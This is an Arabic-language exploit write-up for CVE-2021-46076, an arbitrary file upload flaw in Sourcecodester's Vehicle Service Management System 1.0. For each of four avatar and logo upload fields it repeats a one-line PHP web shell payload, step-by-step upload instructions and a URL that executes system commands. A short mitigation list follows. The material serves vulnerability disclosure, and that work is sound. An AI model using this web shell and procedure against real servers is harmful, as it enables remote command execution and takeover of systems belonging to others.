CVE-2021-46076
عنوان الاستغلال: نظام إدارة خدمة المركبات - رفع ملفات 'متعدد' يؤدي إلى تنفيذ الأكواد
CVE: CVE-2021-46076
CVSS: 8.8 عالية
المراجع:
الوصف:
نظام إدارة خدمة المركبات من Sourcecodester الإصدار 1.0 عرضة لثغرة رفع الملفات. يمكن للمهاجم رفع ملف php خبيث عبر نقاط نهاية (endpoints) متعددة مما يؤدي إلى تنفيذ الأكواد.
1. نظام إدارة خدمة المركبات - 'حسابي' (/admin/?page=user)
الاستغلال:
- سجّل الدخول إلى لوحة التحكم http://localhost/vehicle_service/admin
- انتقل إلى قسم حسابي http://localhost/vehicle_service/admin/?page=user
الحمولة:
<?php system($_GET['cmd']);?>
- احفظ كود php أعلاه، على سبيل المثال: Cmd.php
- في قسم حسابي، أدخل جميع التفاصيل المطلوبة واختر ملف php في حقل الصورة الرمزية (Avatar).
- انقر على زر التحديث.
- افتح الصورة الرمزية في تبويب جديد.
- أضف معامل cmd إلى الرابط ونفّذ الأوامر.
- الرابط النهائي: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- نفّذ جميع أوامر النظام، على سبيل المثال: id, whoami, pwd إلخ.
2. نظام إدارة خدمة المركبات - 'قائمة المستخدمين' (/admin/?page=user/manage_user)
الاستغلال:
- سجّل الدخول إلى لوحة التحكم http://localhost/vehicle_service/admin
- انتقل إلى قسم قائمة المستخدمين وانقر على زر إنشاء جديد.
الحمولة:
<?php system($_GET['cmd']);?>
- احفظ كود php أعلاه، على سبيل المثال: Cmd.php
- في صفحة إنشاء مستخدم جديد، أدخل جميع التفاصيل المطلوبة واختر ملف php في حقل الصورة الرمزية (Avatar).
- انقر على زر الحفظ.
- افتح الصورة الرمزية في تبويب جديد.
- أضف معامل cmd إلى الرابط ونفّذ الأوامر.
- الرابط النهائي: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- نفّذ جميع أوامر النظام، على سبيل المثال: id, whoami, pwd إلخ.
3. نظام إدارة خدمة المركبات - 'الإعدادات - شعار النظام' (/admin/?page=system_info)
الاستغلال:
- سجّل الدخول إلى لوحة التحكم http://localhost/vehicle_service/admin
- انتقل إلى قسم الإعدادات http://localhost/vehicle_service/admin/?page=system_info
الحمولة:
<?php system($_GET['cmd']);?>
- احفظ كود php أعلاه، على سبيل المثال: Cmd.php
- في قسم الإعدادات، أدخل جميع التفاصيل المطلوبة واختر ملف php في حقل شعار النظام (System Logo).
- انقر على زر التحديث.
- افتح صورة شعار النظام في تبويب جديد.
- أضف معامل cmd إلى الرابط ونفّذ الأوامر.
- الرابط النهائي: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- نفّذ جميع أوامر النظام، على سبيل المثال: id, whoami, pwd إلخ.
4. نظام إدارة خدمة المركبات - 'الإعدادات - غلاف الموقع' (/admin/?page=system_info)
الاستغلال:
- سجّل الدخول إلى لوحة التحكم http://localhost/vehicle_service/admin
- انتقل إلى قسم الإعدادات http://localhost/vehicle_service/admin/?page=system_info
الحمولة:
<?php system($_GET['cmd']);?>
- احفظ كود php أعلاه، على سبيل المثال: Cmd.php
- في قسم الإعدادات، أدخل جميع التفاصيل المطلوبة واختر ملف php في حقل غلاف الموقع (Website Cover).
- انقر على زر التحديث.
- افتح صورة غلاف الموقع في تبويب جديد.
- أضف معامل cmd إلى الرابط ونفّذ الأوامر.
- الرابط النهائي: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- نفّذ جميع أوامر النظام، على سبيل المثال: id, whoami, pwd إلخ.
التأثير:
يمكن للمهاجم رفع ملف php خبيث عبر نقاط نهاية (endpoints) متعددة، مما يؤدي إلى تنفيذ الأكواد.
التخفيف:
يُنصح بتنفيذ ما يلي:
- لا تقبل أبدًا اسم الملف وامتداده مباشرةً دون وجود مرشح قائمة بيضاء (white-list).
- إذا لم تكن هناك حاجة لأحرف Unicode، يُنصح بشدة بقبول الأحرف الأبجدية الرقمية (alpha-numeric) ونقطة واحدة فقط كمدخل لاسم الملف والامتداد.
- حدّد حجم الملف إلى قيمة قصوى لمنع هجمات حجب الخدمة.
- يجب ألا يمتلك دليل الرفع أي صلاحية "تنفيذ".
- لا تعتمد على التحقق من جانب العميل فقط.